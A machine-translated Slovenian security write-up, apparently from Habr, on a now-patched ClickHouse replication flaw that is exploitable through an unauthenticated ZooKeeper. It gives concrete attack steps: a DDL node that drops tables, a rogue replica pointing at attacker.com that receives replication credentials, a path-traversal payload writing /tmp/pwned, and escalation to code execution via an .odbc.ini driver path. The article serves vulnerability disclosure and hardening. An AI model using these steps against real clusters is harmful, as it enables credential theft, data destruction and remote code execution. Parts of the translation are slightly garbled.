Zakaj morajo biti kletke živalskega vrta zaprte?

Zakaj morajo biti kletke živalskega vrta zaprte?

Ta članek bo povedal zgodbo o zelo specifični ranljivosti v protokolu replikacije ClickHouse in bo tudi pokazal, kako je mogoče razširiti površino napada.

ClickHouse je zbirka podatkov za shranjevanje velikih količin podatkov, največkrat z uporabo več kot ene replike. Grozdenje in replikacija v ClickHouse sta zgrajena na vrhu Apache ZooKeeper (ZK) in zahtevajo pisne pravice.

Privzeta namestitev ZK ne zahteva preverjanja pristnosti, zato je na tisoče strežnikov ZK, ki se uporabljajo za konfiguracijo Kafka, Hadoop, ClickHouse, javno dostopnih.

Če želite zmanjšati površino napada, morate vedno konfigurirati preverjanje pristnosti in avtorizacijo, ko nameščate ZooKeeper

Seveda obstaja nekaj deserializacij Jave, ki temeljijo na 0 dneh, vendar si predstavljajte, da bi lahko napadalec bral in pisal v ZooKeeper, ki se uporablja za replikacijo ClickHouse.

Ko je konfiguriran v načinu gruče, ClickHouse podpira porazdeljene poizvedbe DDL, ki potekajo skozi ZK - za njih se na listu ustvarijo vozlišča /clickhouse/task_queue/ddl.

Na primer, ustvarite vozlišče /clickhouse/task_queue/ddl/query-0001 z vsebino:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

in po tem bo testna tabela izbrisana na strežnikih gruče host1 in host2. DDL podpira tudi izvajanje poizvedb CREATE/ALTER/DROP.

Zveni strašljivo? Toda kje lahko napadalec dobi naslove strežnikov?

Replikacija ClickHouse deluje na nivoju posameznih tabel, tako da se ob izdelavi tabele v ZK določi strežnik, ki bo zadolžen za izmenjavo metapodatkov z replikami. Na primer, pri izvajanju zahteve (ZK mora biti konfiguriran, chXX - ime replike, foobar - ime tabele):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

vozlišča bodo ustvarjena stolpci и metapodatki.

Vsebina /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Ali je mogoče združiti podatke iz te gruče? Da, če vrata podvajanja (TCP/9009) na strežniku chXX-address požarni zid ne bo zaprt in preverjanje pristnosti za replikacijo ne bo konfigurirano. Kako zaobiti avtentikacijo?

Napadalec lahko ustvari novo repliko v ZK tako, da preprosto kopira vsebino iz /clickhouse/tables/01-01/foobar/replicas/chXX in spreminjanje pomena host.

Vsebina /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Nato morate drugim replikam povedati, da je na napadalčevem strežniku nov blok podatkov, ki ga morajo prevzeti - v ZK se ustvari vozlišče /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotono rastoč števec, ki bi moral biti večji od zadnjega v dnevniku dogodkov):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

če izvorna_replikacija — ime napadalčeve replike, ustvarjene v prejšnjem koraku, block_id — identifikator podatkovnega bloka, dobili - ukaz "get block" (in tukaj so ukazi za druge operacije).

Nato vsaka replika prebere nov dogodek v dnevniku in gre na strežnik, ki ga nadzoruje napadalec, da prejme blok podatkov (protokol podvajanja je binarni in deluje na vrhu HTTP). Strežnik attacker.com bo prejel zahteve:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

kjer je XXX avtentikacijski podatek za replikacijo. V nekaterih primerih je to lahko račun z dostopom do baze podatkov prek glavnega protokola ClickHouse in protokola HTTP. Kot ste videli, postane površina napada kritično velika, ker ZooKeeper, ki se uporablja za replikacijo, ni bil konfiguriran za preverjanje pristnosti.

Oglejmo si funkcijo pridobivanja bloka podatkov iz replike, zapisano je s popolnim zaupanjem, da so vse replike pod ustreznim nadzorom in med njimi obstaja zaupanje.

Zakaj morajo biti kletke živalskega vrta zaprte?
koda za obdelavo podvajanja

Funkcija prebere seznam datotek, nato njihova imena, velikosti, vsebino in jih nato zapiše v datotečni sistem. Ločeno je vredno opisati, kako so podatki shranjeni v datotečnem sistemu.

Obstaja več podimenikov v /var/lib/clickhouse (privzeti imenik za shranjevanje iz konfiguracijske datoteke):

zastave - imenik za snemanje zastave, ki se uporablja pri obnovitvi po izgubi podatkov;
tmp — imenik za shranjevanje začasnih datotek;
uporabniške_datoteke — operacije z datotekami v zahtevah so omejene na ta imenik (INTO OUTFILE in drugi);
metapodatki — datoteke sql z opisi tabel;
preprocessed_configs - obdelane izpeljane konfiguracijske datoteke iz /etc/clickhouse-server;
datum - dejanski imenik s samimi podatki, v tem primeru se tukaj za vsako bazo preprosto ustvari ločen podimenik (npr. /var/lib/clickhouse/data/default).

Za vsako tabelo se ustvari podimenik v imeniku baze podatkov. Vsak stolpec je ločena datoteka, odvisno od format motorja. Na primer za mizo foobarustvaril napadalec, bodo ustvarjene naslednje datoteke:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika pričakuje, da bo prejela datoteke z enakimi imeni pri obdelavi bloka podatkov in jih na noben način ne potrdi.

Pozoren bralec je verjetno že slišal za nevarno veriženje file_name v funkciji WriteBufferFromFile. Da, to napadalcu omogoča pisanje poljubne vsebine v katero koli datoteko v FS z uporabniškimi pravicami clickhouse. Če želite to narediti, mora replika, ki jo nadzoruje napadalec, na zahtevo vrniti naslednji odgovor (za lažje razumevanje so bili dodani prelomi vrstic):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

in po veriženju ../../../../../../../../../tmp/pwned datoteka bo zapisana /tmp/pwned z vsebino hellofromzookeeper.

Obstaja več možnosti za spreminjanje zmožnosti pisanja datotek v oddaljeno izvajanje kode (RCE).

Zunanji slovarji v RCE

V starejših različicah je bil imenik z nastavitvami ClickHouse shranjen z uporabniškimi pravicami klikhouse privzeto. Datoteke z nastavitvami so datoteke XML, ki jih storitev prebere ob zagonu in nato shrani v predpomnilnik /var/lib/clickhouse/preprocessed_configs. Ko pride do sprememb, se ponovno preberejo. Če imate dostop do /etc/clickhouse-server napadalec lahko ustvari svojega zunanji slovar izvršljivo vrsto in nato izvede poljubno kodo. Trenutne različice ClickHouse privzeto ne zagotavljajo pravic, vendar če bi bil strežnik postopoma posodobljen, bi te pravice lahko ostale. Če podpirate gručo ClickHouse, preverite pravice do imenika nastavitev, mora pripadati uporabniku root.

ODBC v RCE

Pri namestitvi paketa se ustvari uporabnik clickhouse, vendar njegov domači imenik ni ustvarjen /nonexistent. Pri uporabi zunanjih slovarjev ali iz drugih razlogov pa skrbniki ustvarijo imenik /nonexistent in da uporabniku clickhouse dostop za pisanje vanj (SSZB! pribl. prevajalec).

ClickHouse podpira ODBC in se lahko poveže z drugimi zbirkami podatkov. V ODBC lahko podate pot do knjižnice gonilnikov baze podatkov (.so). Starejše različice ClickHouse so vam omogočale, da to storite neposredno v upravljalniku zahtev, zdaj pa je bilo dodano strožje preverjanje povezovalnega niza odbc-bridge, zato ni več mogoče določiti poti gonilnika iz zahteve. Toda ali lahko napadalec piše v domači imenik z uporabo zgoraj opisane ranljivosti?

Ustvarimo datoteko ~/.odbc.ini s takšno vsebino:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

potem ob zagonu SELECT * FROM odbc('DSN=lalala', 'test', 'test'); knjižnica se bo naložila test.so in prejel RCE (hvala buglloc za konico).

Te in druge ranljivosti so bile odpravljene v različici ClickHouse 19.14.3. Poskrbite za svoje ClickHouse in ZooKeepers!

Vir: www.habr.com

Dodaj komentar